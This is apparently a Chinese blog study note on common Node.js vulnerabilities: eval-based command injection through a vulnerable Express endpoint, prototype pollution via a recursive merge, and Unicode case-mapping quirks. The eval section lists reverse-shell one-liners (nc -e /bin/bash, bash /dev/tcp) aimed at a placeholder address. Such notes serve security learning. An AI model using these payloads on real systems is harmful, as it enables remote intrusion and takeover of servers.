Node.js 常见漏洞学习与总结

    • eval函数

1.1、什么是eval函数

eval函数可以计算字符串,并且执行其中的javascript代码,和php中eval函数一样,那么如果说没有经过过滤,并且里面的参数可控的时候,就能够产生很严重的漏洞,包括命令执行。

1.2、执行系统命令

console.log(eval("1+1"));
//输出 2

eval(require("child_process").exec("calc"))
//执行弹出计算机的命令

1.3、web端执行系统命令

var express = require("express");
var app = express();

app.get('/eval',function (req,res)  {
    res.send(eval(req.query.q));
    console.log(req.query.q);
})
app.listen(8888,function () {
    console.log("应用实例,访问地址为 http://127.0.0.1:8888/")
})

反弹shell


nc -e /bin/bash xxx.xxx.xxx.xxx 9999


nc xxx.xxx.xxx.xxx 9999    -e /bin/bash



bash -c {echo,base64之后的反弹shell,命令}|{base64,-d}|{bash,-i}


bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/9999 0>&1

命令执行回显

require('child_process').spawnSync("whoami").stdout.toString();

类似的一些命令导致命令执行

setInteval(some_function, 2000)
setTimeout(some_function, 2000);
Function("console.log('HelloWolrd')")()
    • 原型链污染

参考文章:https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Inheritance_and_the_prototype_chain

2.1、什么是原型链污染

对于javascript来讲只有一种结构,也就是对象[Object],每一个对象都有一个私有属性,这个私有属性我们称之为__proto__,他指向构造函数的原型对象(prototype),这个prototype可以理解成父类。然后每个对象都有这样的特性,层层向上直到一个对象的原型对象为null,根据定义,null是没有原型的。作为这个原型链的最后一个环节。

几乎所有 JavaScript 中的对象都是位于原型链顶端的Object的实例。

var a = '{"test1":"test2"}';
var parse = JSON.parse(a);
console.log(parse.__proto__);

了解清楚javascript的原型链之后呢,我们会知道,javascrp对象有一个指向一个原型对象的链,那么现在需要知道其存在一个特点。当我们去访问一个对象的属性时,它不仅仅会在当前对象中寻找该属性,它还会在他的原型对象中找,以及该原型对象的原型对象,一直往上找。直到达到原型链的末尾为止。

这也是理解原型链污染最关键的点。

那我们也可以通过代码来看看是不是如我们所理解的这样。加深我们对其理解。

代码我直接copy了,我觉得写的非常好。

// 让我们从一个函数里创建一个对象 o,它自身拥有属性 a 和 b 的:
let f = function () {
   this.a = 1;
   this.b = 2;
}
/* 这么写也一样
function f() {
  this.a = 1;
  this.b = 2;
}
*/
let o = new f(); // {a: 1, b: 2}

// 在 f 函数的原型上定义属性
f.prototype.b = 3;
f.prototype.c = 4;

// 不要在 f 函数的原型上直接定义 f.prototype = {b:3,c:4};这样会直接打破原型链
// o.[[Prototype]] 有属性 b 和 c
//  (其实就是 o.__proto__ 或者 o.constructor.prototype)
// o.[[Prototype]].[[Prototype]] 是 Object.prototype.
// 最后 o.[[Prototype]].[[Prototype]].[[Prototype]] 是 null
// 这就是原型链的末尾,即 null,
// 根据定义,null 就是没有 [[Prototype]]。

// 综上,整个原型链如下:

// {a:1, b:2} ---> {b:3, c:4} ---> Object.prototype---> null

console.log(o.a); // 1
// a 是 o 的自身属性吗?是的,该属性的值为 1

console.log(o.b); // 2
// b 是 o 的自身属性吗?是的,该属性的值为 2
// 原型上也有一个'b'属性,但是它不会被访问到。
// 这种情况被称为"属性遮蔽 (property shadowing)"

console.log(o.c); // 4
// c 是 o 的自身属性吗?不是,那看看它的原型上有没有
// c 是 o.[[Prototype]] 的属性吗?是的,该属性的值为 4

console.log(o.d); // undefined
// d 是 o 的自身属性吗?不是,那看看它的原型上有没有
// d 是 o.[[Prototype]] 的属性吗?不是,那看看它的原型上有没有
// o.[[Prototype]].[[Prototype]] 为 null,停止搜索
// 找不到 d 属性,返回 undefined

2.2、修改原型链属性

objectname["__proto__"]
objectname.__proto__
objectname.constructor.prototype

2.3、不同对象的原型链如下

var o = {a: 1};
// o对象直接继承了Object.prototype
// 原型链:
// o ---> Object.prototype ---> null

var a = ["1", "2", "3"];
// 数组都继承于 Array.prototype
// 原型链:
// a ---> Array.prototype ---> Object.prototype ---> null

function f(){
  return 2;
}
// 函数都继承于 Function.prototype
// 原型链:
// f ---> Function.prototype ---> Object.prototype ---> null

2.4、merge操作导致原型链污染

function merge(target, source) {
    for (let key in source) {
        if (key in source && key in target) {
            merge(target[key], source[key])
        } else {
            target[key] = source[key]
        }
    }
}

let object1 = {}
let object2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
merge(object1, object2)
console.log(object1.a, object1.b)

object3 = {}
console.log(object3.b)

merge这个函数就是原型链污染的罪魁祸首,他会递归的把我们传入的json格式数据进行赋值。那么如果我们将key的值赋值为__proto__或者constructor.prototype,那么他将会污染他的原型对象。有时候函数名会叫做copy

2.5、javascript大小写特性

字符"ı"、"ſ" 经过toUpperCase处理后结果为 "I"、"S"
字符"K"经过toLowerCase处理后结果为"k"(这个K不是K)

  • 6
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值